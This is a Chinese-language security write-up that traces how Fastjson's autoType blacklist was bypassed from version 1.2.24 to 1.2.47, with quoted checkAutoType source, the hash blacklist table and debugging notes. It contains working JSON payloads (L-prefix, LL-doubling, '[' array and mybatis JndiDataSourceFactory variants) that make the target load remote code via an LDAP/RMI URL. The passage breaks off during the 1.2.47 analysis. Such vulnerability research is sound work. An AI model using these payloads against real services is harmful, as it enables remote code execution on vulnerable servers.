0%

Fastjson抗争的一生

序言

百川东到海,何时复西归?

这一篇来总结Fastjson不同版本的bypass方式。

1.2.24漏洞修复

在1.2.25版本,针对1.2.24版本进行了修复。

我们可以总结以下1.2.24版本的漏洞产生原因:

  1. @type该关键词的特性会加载任意类,并给提供的输入字段的值进行恢复,如果字段有setter、getter方法会自动调用该方法,进行赋值,恢复出整个类。
    这个过程会被叫做Fastjson的反序列化过程,注意不要把这个过程跟java反序列化过程混为一谈。它们两个是同等级的存在,而不是前者基于后者之上。也就是说readObject()反序列化利用点那一套在这根本不适用。相应的被屏蔽的type加载任意类+符合条件的setter与getter变成了反序列化利用点。
  2. 在找到可以调用的setter、getter之后,从这个可以被触发的setter、getter之后就可以沿着不同的反序列化利用链前进,比如具有一定限制条件的TemplatesImpl利用链,JNDI注入的利用链。
  3. 沿着链就会到最后的payload触发点。比如JNDI的远程恶意class文件的实例化操作(构造函数,静态方法)或调用类中getObjectInstance方法,与TemplatesImpl利用链中的class文件字节码的的实例化操作(构造函数,静态方法)。

可以注意到最终的payload触发点具有好像是巧合的统一性,都类似于是一个class文件的实例化操作。在commons-collections中则是反射机制(这在@type中的getter、setter函数调用中也被用到)。应该对这两个点产生敏感性。

修复则是针对三要素中的一者进行截断。在1.2.25中的修复原理就是针对了反序列化漏洞触发点进行限制。对于被屏蔽的type标签进行一个白名单+黑名单的限制机制。

使用万能的idea对两个版本的jar包进行对比:

img

可以注意到,在解析json串的DefaultJSONParser类中做了一行代码的修改。当输入的键值是@type时,原本直接对值对应的类进行加载。现在会将值ref传入checkAutoType方法中。

checkAutoType是1.2.25版本中新增的一个白名单+黑名单机制。同时引入一个配置参数AutoTypeSupport。参考官方wiki

Fastjson默认AutoTypeSupport为False(开启白名单机制),通过需要服务端通过以下代码来显性修改:

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); (关闭白名单机制)

可见,false为禁止自动转换,true为允许自动转换。

由于checkAutoType中两条路线的代码是穿插的,先来看默认AutoTypeSupport为False时的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

//一些固定类型的判断,此处不会对clazz进行赋值,此处省略

if (!autoTypeSupport) {
//进行黑名单匹配,匹配中,直接报错退出
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
//对白名单,进行匹配;如果匹配中,调用loadClass加载,赋值clazz直接返回
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

//此处省略了当clazz不为null时的处理情况,与expectClass有关
//但是我们这里输入固定是null,不执行此处代码
//可以发现如果上面没有触发黑名单,返回,也没有触发白名单匹配中的话,就会在此处被拦截报错返回。
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
//执行不到此处
return clazz;
}

大体流程就是先过黑名单,再过白名单,要是都不适配,最后也会报错。

可以得出在默认的AutoTypeSupport为False时,要求不匹配到黑名单,同时必须匹配到白名单的class才可以成功加载。

看一下默认黑名单,默认白名单(最下面,默认为空)

img

这条路完全被白名单堵死了,所以默认的情况下是不可能绕过的。我们的两个payload也都被com.sun这一条黑名单给匹配了。

1.2.25-1.2.41绕过

所以接下来所谓的绕过都是在服务端显性开启AutoTypeSupport为True的情况下进行的。(这是一个很大的限制条件)

我们先来看显性修改AutoTypeSupport为True时的代码:

1.2.25版本com.alibaba.fastjson.parser.ParserConfig#checkAutoType(关闭白名单机制) 也就是true。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');


if (autoTypeSupport || expectClass != null) {
//先进行白名单匹配,如果匹配成功则直接返回。可见所谓的关闭白名单机制是不只限于白名单
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
//同样进行黑名单匹配,如果匹配成功,则报错推出。
//需要注意所谓的匹配都是startsWith开头匹配
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

//一些固定类型的判断,不会对clazz进行赋值,此处省略

//不匹配白名单中也不匹配黑名单的,进入此处,进行class加载
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

//对于加载的类进行危险性判断,判断加载的clazz是否继承自Classloader与DataSource
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
//返回加载的class
return clazz;
}

可见在显性关闭白名单的情况下,也需要绕过黑名单检测,同时加载的类不能继承自Classloader与DataSource。

看似只能找到其他的利用类跟黑名单进行硬刚。但再跟一下类的加载TypeUtils.loadClass就会有所发现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}

Class<?> clazz = mappings.get(className);

if (clazz != null) {
return clazz;
}

//特殊处理1!
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
//特殊处理2!
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
...
  • 如果这个className是以[开头我们会去掉[进行加载!

    但是实际上在代码中也可以看见它会返回Array的实例变成数组。在实际中它远远不会执行到这一步,在json串解析时就已经报错。

  • 如果这个className是以L开头;结尾,就会去掉开头和结尾进行加载!

那么加上L开头;结尾实际上就可以绕过所有黑名单。那么理所当然的payload就为:

1
2
3
4
5
LDAP:
String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\", \"autoCommit\":true}";

RMI:
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

关键PoC为:Lcom.sun.rowset.JdbcRowSetImpl;/Lcom.sun.rowset.RowSetImpl;

注意是要开启AutoTypeSupport的,添加以下代码就ok了:

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

直接运行即可绕过checkAutoType()黑名单实现弹计算器:

image-20200706121236438

绕过分析

我们注意到,PoC和之前的不同之处在于在”com.sun.rowset.JdbcRowSetImpl”类名的前面加了”L”、后面加了”;”就绕过了黑名单过滤。

下面我们调试分析看看为啥会绕过。

我们将断点打在checkAutoType()函数上,调试跟进去,”Lcom.sun.rowset.JdbcRowSetImpl;”类名由于是以”L”开头,因此并不在denyList黑名单中,从而绕过了黑名单校验:

image-20200706124435820

再往下开始调用TypeUtils.loadClass():

img

跟进TypeUtils.loadClass()函数,这里我们在之前的文章中年已经调试分析过了,也提示过了,就是会有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此能成功绕过:

image-20200706125048392

1.2.42 漏洞修复

自1.2.42版本开始,在ParserConfig.java中可以看到黑名单改为了哈希黑名单:

image-20200706125426393

从1.2.42版本开始,Fastjson把原本明文形式的黑名单改成了哈希过的黑名单,目的就是为了防止安全研究者对其进行研究,提高漏洞利用门槛,但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist

目前已知的哈希黑名单的对应表如下:

version hash hex-hash name
1.2.42 -8720046426850100497 0x86fc2bf9beaf7aefL org.apache.commons.collections4.comparators
1.2.42 -8109300701639721088 0x8f75f9fa0df03f80L org.python.core
1.2.42 -7966123100503199569 0x9172a53f157930afL org.apache.tomcat
1.2.42 -7766605818834748097 0x9437792831df7d3fL org.apache.xalan
1.2.42 -6835437086156813536 0xa123a62f93178b20L javax.xml
1.2.42 -4837536971810737970 0xbcdd9dc12766f0ceL org.springframework.
1.2.42 -4082057040235125754 0xc7599ebfe3e72406L org.apache.commons.beanutils
1.2.42 -2364987994247679115 0xdf2ddff310cdb375L org.apache.commons.collections.Transformer
1.2.42 -1872417015366588117 0xe603d6a51fad692bL org.codehaus.groovy.runtime
1.2.42 -254670111376247151 0xfc773ae20c827691L java.lang.Thread
1.2.42 -190281065685395680 0xfd5bfc610056d720L javax.net.
1.2.42 313864100207897507 0x45b11bc78a3aba3L com.mchange
1.2.42 1203232727967308606 0x10b2bdca849d9b3eL org.apache.wicket.util
1.2.42 1502845958873959152 0x14db2e6fead04af0L java.util.jar.
1.2.42 3547627781654598988 0x313bb4abd8d4554cL org.mozilla.javascript
1.2.42 3730752432285826863 0x33c64b921f523f2fL java.rmi
1.2.42 3794316665763266033 0x34a81ee78429fdf1L java.util.prefs.
1.2.42 4147696707147271408 0x398f942e01920cf0L com.sun.
1.2.42 5347909877633654828 0x4a3797b30328202cL java.util.logging.
1.2.42 5450448828334921485 0x4ba3e254e758d70dL org.apache.bcel
1.2.42 5751393439502795295 0x4fd10ddc6d13821fL java.net.Socket
1.2.42 5944107969236155580 0x527db6b46ce3bcbcL org.apache.commons.fileupload
1.2.42 6742705432718011780 0x5d92e6ddde40ed84L org.jboss
1.2.42 7179336928365889465 0x63a220e60a17c7b9L org.hibernate
1.2.42 7442624256860549330 0x6749835432e0f0d2L org.apache.commons.collections.functors
1.2.42 8838294710098435315 0x7aa7ee3627a19cf3L org.apache.myfaces.context.servlet
1.2.43 -2262244760619952081 0xe09ae4604842582fL java.net.URL
1.2.46 -8165637398350707645 0x8eadd40cb2a94443L junit.
1.2.46 -8083514888460375884 0x8fd1960988bce8b4L org.apache.ibatis.datasource
1.2.46 -7921218830998286408 0x92122d710e364fb8L org.osjava.sj.
1.2.46 -7768608037458185275 0x94305c26580f73c5L org.apache.log4j.
1.2.46 -6179589609550493385 0xaa3daffdb10c4937L org.logicalcobwebs.
1.2.46 -5194641081268104286 0xb7e8ed757f5d13a2L org.apache.logging.
1.2.46 -3935185854875733362 0xc963695082fd728eL org.apache.commons.dbcp
1.2.46 -2753427844400776271 0xd9c9dbf6bbd27bb1L com.ibatis.sqlmap.engine.datasource
1.2.46 -1589194880214235129 0xe9f20bad25f60807L org.jdom.
1.2.46 1073634739308289776 0xee6511b66fd5ef0L org.slf4j.
1.2.46 5688200883751798389 0x4ef08c90ff16c675L javassist.
1.2.46 7017492163108594270 0x616323f12c2ce25eL oracle.net
1.2.46 8389032537095247355 0x746bd4a53ec195fbL org.jaxen.
1.2.48 1459860845934817624 0x144277b467723158L java.net.InetAddress
1.2.48 8409640769019589119 0x74b50bb9260e31ffL java.lang.Class
1.2.49 4904007817188630457 0x440e89208f445fb9L com.alibaba.fastjson.annotation
1.2.59 5100336081510080343 0x46c808a4b5841f57L org.apache.cxf.jaxrs.provider.
1.2.59 6456855723474196908 0x599b5c1213a099acL ch.qos.logback.
1.2.59 8537233257283452655 0x767a586a5107feefL net.sf.ehcache.transaction.manager.
1.2.60 3688179072722109200 0x332f0b5369a18310L com.zaxxer.hikari.
1.2.61 -4401390804044377335 0xc2eb1e621f439309L flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor
1.2.61 -1650485814983027158 0xe9184be55b1d962aL org.apache.openjpa.ee.
1.2.61 -1251419154176620831 0xeea210e8da2ec6e1L oracle.jdbc.rowset.OracleJDBCRowSet
1.2.61 -9822483067882491 0xffdd1a80f1ed3405L com.mysql.cj.jdbc.admin.
1.2.61 99147092142056280 0x1603dc147a3e358L oracle.jdbc.connector.OracleManagedConnectionFactory
1.2.61 3114862868117605599 0x2b3a37467a344cdfL org.apache.ibatis.parsing.
1.2.61 4814658433570175913 0x42d11a560fc9fba9L org.apache.axis2.jaxws.spi.handler.
1.2.61 6511035576063254270 0x5a5bd85c072e5efeL jodd.db.connection.
1.2.61 8925522461579647174 0x7bddd363ad3998c6L org.apache.commons.configuration.JNDIConfiguration
1.2.62 -9164606388214699518 0x80d0c70bcc2fea02L org.apache.ibatis.executor.
1.2.62 -8649961213709896794 0x87f52a1b07ea33a6L net.sf.cglib.
1.2.62 -5764804792063216819 0xafff4c95b99a334dL com.mysql.cj.jdbc.MysqlDataSource
1.2.62 -4438775680185074100 0xc2664d0958ecfe4cL aj.org.objectweb.asm.
1.2.62 -3319207949486691020 0xd1efcdf4b3316d34L oracle.jdbc.
1.2.62 -2192804397019347313 0xe1919804d5bf468fL org.apache.commons.collections.comparators.
1.2.62 -2095516571388852610 0xe2eb3ac7e56c467eL net.sf.ehcache.hibernate.
1.2.62 4750336058574309 0x10e067cd55c5e5L com.mysql.cj.log.
1.2.62 218512992947536312 0x3085068cb7201b8L org.h2.jdbcx.
1.2.62 823641066473609950 0xb6e292fa5955adeL org.apache.commons.logging.
1.2.62 1534439610567445754 0x154b6cb22d294cfaL org.apache.ibatis.reflection.
1.2.62 1818089308493370394 0x193b2697eaaed41aL org.h2.server.
1.2.62 2164696723069287854 0x1e0a8c3358ff3daeL org.apache.ibatis.datasource.
1.2.62 2653453629929770569 0x24d2f6048fef4e49L org.objectweb.asm.
1.2.62 2836431254737891113 0x275d0732b877af29L flex.messaging.util.concurrent.
1.2.62 3089451460101527857 0x2adfefbbfe29d931L org.apache.ibatis.javassist.
1.2.62 3718352661124136681 0x339a3e0b6beebee9L org.apache.ibatis.ognl.
1.2.62 4046190361520671643 0x3826f4b2380c8b9bL com.mysql.cj.jdbc.MysqlConnectionPoolDataSource
1.2.62 6280357960959217660 0x5728504a6d454ffcL org.apache.ibatis.scripting.
1.2.62 6734240326434096246 0x5d74d3e5b9370476L com.mysql.cj.jdbc.MysqlXADataSource
1.2.62 7123326897294507060 0x62db241274397c34L org.apache.commons.collections.functors.
1.2.62 8488266005336625107 0x75cc60f5871d0fd3L org.apache.commons.configuration

目前未知的哈希黑名单:

version hash hex-hash name
1.2.42 33238344207745342 0x761619136cc13eL
1.2.62 -6316154655839304624 0xa85882ce1044c450L
1.2.62 -5472097725414717105 0xb40f341c746ec94fL
1.2.62 -4608341446948126581 0xc00be1debaf2808bL
1.2.62 3256258368248066264 0x2d308dbbc851b0d8L
1.2.62 4841947709850912914 0x43320dc9d2ae0892L
1.2.62 6534946468240507089 0x5ab0cb3071ab40d1L

关键是在ParserConfig.java中修改了以下两点:

  1. 修改明文黑名单为黑名单hash
  2. 对于传入的类名,删除开头L和结尾的;

对于第二点,仔细跟进去看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// hash算法常量
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
// 对传入类名的第一位和最后一位做了hash,如果是L开头,;结尾,删去开头结尾
// 可以发现这边只进行了一次删除
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
className = className.substring(1, className.length() - 1);
}
// 计算处理后的类名的前三个字符的hash
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;

if (autoTypeSupport || expectClass != null) {
long hash = h3;
//基于前三个字符的hash结果继续进行hash运算
//这边一位一位运算比较其实就相当于之前的startswith,开头匹配
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
//将运算结果跟白名单做比对
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
//将运算结果跟黑名单做比对
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

//之后就是一样的处理,根据类名加载类

确实有效的干掉了L开头;结尾的payload。

1.2.42 绕过

但是在以上的处理中,发现只删除了一次开头的L和结尾的;,这里就好像使用黑名单预防SQL注入,只删除了一次敏感词汇的防御错误一样,重复一下就可以被轻易的绕过。所以payload如下:

1
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

关键PoC为:LLcom.sun.rowset.JdbcRowSetImpl;;

在1.2.22-1.2.42版本运行都能成功触发:

image-20200706130109049

绕过分析

自1.2.42版本开始,在ParserConfig.java中可以看到黑名单改为了哈希黑名单:

1
denyHashCodes = new long[]{-8720046426850100497L,-8109300701639721088L,-7966123100503199569L,-7766605818834748097L,-6835437086156813536L,-4837536971810737970L,-4082057040235125754L,-2364987994247679115L,-1872417015366588117L,-254670111376247151L,-190281065685395680L,33238344207745342L,313864100207897507L,1203232727967308606L,1502845958873959152L,3547627781654598988L,3730752432285826863L,3794316665763266033L,4147696707147271408L,5347909877633654828L,5450448828334921485L,5751393439502795295L,5944107969236155580L,6742705432718011780L,7179336928365889465L,7442624256860549330L,8838294710098435315L};

在checkAutoType()函数中,通过调试发现这段代码会对”L”开头和”;”结尾的类名进行一次提取操作:

image-20200706130507612

但由于只进行一次提取操作,因此可以通过添加两次的方式来绕过后面的黑名单校验。

后面的代码,是对提取出来的className即Lcom.sun.rowset.JdbcRowSetImpl;进行denyList黑名单过滤,也就顺利绕过了。

注意下,在后面调用TypeUtils.loadClass()函数时,传入的是我们输入的LLcom.sun.rowset.JdbcRowSetImpl;;

为何添加了两次的类名也能成功触发呢?我们跟进TypeUtils.loadClass()函数中可以发现,在”L”和”;”之间提取出类名后,会再次调用自身函数loadClass(),也就是说只要检测出”L”开头和”;”结尾的字符都会调用自身来循环提取出真正的类名。

1.2.43 漏洞修复

在1.2.43中对于1.2.42版本可绕过的情况进行了修复。

修改了com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class, int)的部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
//hash计算基础参数
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
//L开头,;结尾
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
//LL开头
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
//直接爆出异常
throw new JSONException("autoType is not support. " + typeName);
}

className = className.substring(1, className.length() - 1);
}

可见就对了LL开头的绕过进行了封堵。

至此我们之前的两个利用链JdbcRowSetImpl和TemplatesImpl正式被封堵了(暂时)。在服务端放开白名单限制的情况下也绕不过黑名单。更别说服务端默认是开启白名单的,这时候fastjson的风险已经很小了。

之后就是不断有新的组件作为利用链引入进行攻击,和黑名单的不断扩充之间的拉锯战。(之前也说过着一切都是在显性关闭白名单的情况下)

1.2.43 绕过

之前在类的加载TypeUtils.loadClass发现有两种特殊处理方式:

  • 如果这个className是以[开头我们会去掉[进行加载!
  • 如果这个className是以L开头;结尾,就会去掉开头和结尾进行加载!

之前版本都是主攻第二种,这里的绕过方式就是针对的第一种,也就是针对[的骚操作。

先直接上payload嗷:

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

关键PoC:[com.sun.rowset.JdbcRowSetImpl

但是如果我们一开始payload直接这样写是会报错的:

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

报错信息如下,显示期待在42列的位置接受个”[“符号,而42列正好是第一个逗号”,”前一个位置:

1
Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

因此改下payload,在第一个逗号前面加个”[“:

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

继续报错,显示期待在43列的位置接受个”{“符号,而43列正好是紧跟在新加的”[“字符的后一个位置:

1
Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43

因此就修改得到最终版payload,能够成功触发:

image-20200706143651966

绕过分析

在TypeUtils.loadClass()函数中,除了前面看到的判断是否以”L”开头、以”;”结尾的if判断语句外,在其前面还有一个判断是否以”[“开头的if判断语句,是的话就提取其中的类名,并调用Array.newInstance().getClass()来获取并返回类:

image-20200706144236090

解析完返回的类名是”[com.sun.rowset.JdbcRowSetImpl”,通过checkAutoType()函数检测之后,到后面就是读该类进行反序列化了:

image-20200706144524443

在反序列化中,调用了DefaultJSONParser.parseArray()函数来解析数组内容,其中会有一些if判断语句校验后面的字符内容是否为”[“、”{“等,前面一开始尝试的几个payload报错的原因正是出在这里:

image-20200706144631729

1.2.44 漏洞修复

修补了上面的[利用方式。

image-20200706145821383

直接抛异常,难受住,家人们;

1.2.44 绕过

前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。

maven:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.mybatis/mybatis -->
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.4.6</version>
</dependency>

直接给出payload,要连LDAP或RMI都可以:

1
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}

关键PoC:org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

主要就是黑名单绕过,这个类我们在哈希黑名单中1.2.45的版本中可以看到:

version hash hex-hash name
1.2.46 -8083514888460375884 0x8fd1960988bce8b4L org.apache.ibatis.datasource

黑名单封堵呢,其实是一个动态的过程,会有很多新增的jar包,如果服务端引入了这些额外的jar包,就会引入一条可利用链,,或者jdk又被发掘出了新增的链等等都会导致黑名单可被绕过。当然在1.2.25之后这都是要在显性白名单的情况下,才有的问题。

之后更新的版本比如1.2.46也都在补充黑名单。

运行即可成功触发,害怕!:

image-20200706151641022

绕过分析

由于”org.apache.ibatis.datasource.jndi.JndiDataSourceFactory”不在黑名单中,因此能成功绕过checkAutoType()函数的检测。

继续往下调试分析org.apache.ibatis.datasource.jndi.JndiDataSourceFactory这条利用链的原理。

由于payload中设置了properties属性值,且JndiDataSourceFactory.setProperties()方法满足之前说的Fastjson会自动调用的setter方法的条件,因此可被利用来进行Fastjson反序列化漏洞的利用。

直接在该setter方法打断点,可以看到会调用到这来,这里就是熟悉的JNDI注入漏洞了,即InitialContext.lookup(),其中参数由我们输入的properties属性中的data_source值获取的,这里面还是需要调试时候直接断点跳转的:

image-20200706154549939

之后就是由JNDI注入漏洞成功触发Fastjson反序列化漏洞了。

函数调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<init>:10, Exploit
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:57, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:526, Constructor (java.lang.reflect)
newInstance:383, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:188, DirectoryManager (javax.naming.spi)
c_lookup:1086, LdapCtx (com.sun.jndi.ldap)
p_lookup:544, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:411, InitialContext (javax.naming)
setProperties:56, JndiDataSourceFactory (org.apache.ibatis.datasource.jndi)
deserialze:-1, FastjsonASMDeserializer_1_JndiDataSourceFactory (com.alibaba.fastjson.parser.deserializer)
deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
main:8, JdbcRowSetImplPoc

1.2.47 通杀!

我们在分析1.2.47时,将从一个挖掘0day的角度去一步步分析,企图复现这个漏洞的挖掘过程,不然正向看,不得劲。payload在最后给出。

我们重新来理一下com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class, int)这个阻挠我们的方法,上面我们提到过白名单开关时我们走的是不一样的路线,还在注释中提到会有一些固定类型的判断,这就是通杀payload的关键。

我们接下来看的是1.2.47版本的包,我们看总结后的代码结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
//1.typeName为null的情况,略

//2.typeName太长或太短的情况,略

//3.替换typeName中$为.,略

//4.使用hash的方式去判断[开头,或L开头;结尾,直接报错
//这里经过几版的修改,有点不一样了,但是绕不过,也略

//5.autoTypeSupport为true(白名单关闭)的情况下,返回符合白名单的,报错符合黑名单的
//(这里可以发现,白名单关闭的配置情况下,必须先过黑名单,但是留下了一线生机)
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
//要求满足黑名单并且从一个Mapping中找不到这个类才会报错,这个Mapping就是我们的关键
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

//6.从一个Mapping中获取这个类名的类,我们之后看
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
//7.从反序列化器中获取这个类名的类,我们也之后看
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
//8.如果在6,7中找到了clazz,这里直接return出去,不继续了
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
//无论是默认白名单开启还是手动白名单关闭的情况,我们都要从这个return clazz中出去
return clazz;
}
// 9. 针对默认白名单开启情况的处理,这里
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
//碰到黑名单就死
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
//满足白名单可以活,但是白名单默认是空的
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
//针对expectCLass的特殊处理,没有expectCLass,不管
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}
//通过以上全部检查,就可以从这里读取clazz
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

//这里对一些特殊的class进行处理,不重要

//特性判断等

return clazz;
}

image-20200706155729468

仔细分析了一下,可以发现无论是白名单开启与否,我们的恶意类都要想办法必须要从第8步的return clazz出去才有机会。

  1. 因为白名单关闭(手动)时,我们如果进入第九步,会百分百跟黑名单正面撞上,必然被杀。我们只能在这之前溜出去,机会就在6,7步中。
  2. 白名单开启时(默认),虽然在第五步时,我们也会跟黑名单撞上,但是却莫名其妙的会有一线生机,只要满足TypeUtils.getClassFromMapping(typeName) != null(是!=)反而可以从黑名单中逃开。然后从第八步中return出去。

那往之前看clazz可以从哪里赋值,5、6、7三个地方,但是5是白名单匹配才返回。这不可能。

于是开始关注6,7这两个操作到底是干啥的,(其实根据已知白名单开不开都通杀的特性,肯定是在第6步TypeUtils.getClassFromMapping中得到的恶意类,但是这边都瞅瞅,后面也会用到)

  1. TypeUtils.getClassFromMapping(typeName)
  2. deserializers.findClass(typeName)

deserializers.findClass(typeName)

先看desesrializers,一个hashmap

1
private final IdentityHashMap<Type, ObjectDeserializer> deserializers         = new IdentityHashMap<Type, ObjectDeserializer>();

因为我们是从中取值,关注一下它是在哪里赋值的,发现是在initDeserializers里面赋值的:

image-20200706161123129

initDeserializers这个函数是在parserConfig类的构造函数中初始化时调用的,存放的是一些认为没有危害的固定常用类。理所当然不会包含我们的利用类。

除此之外还有两个函数会影响到desesrializers这个map:

  1. getDeserializer
1
com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)

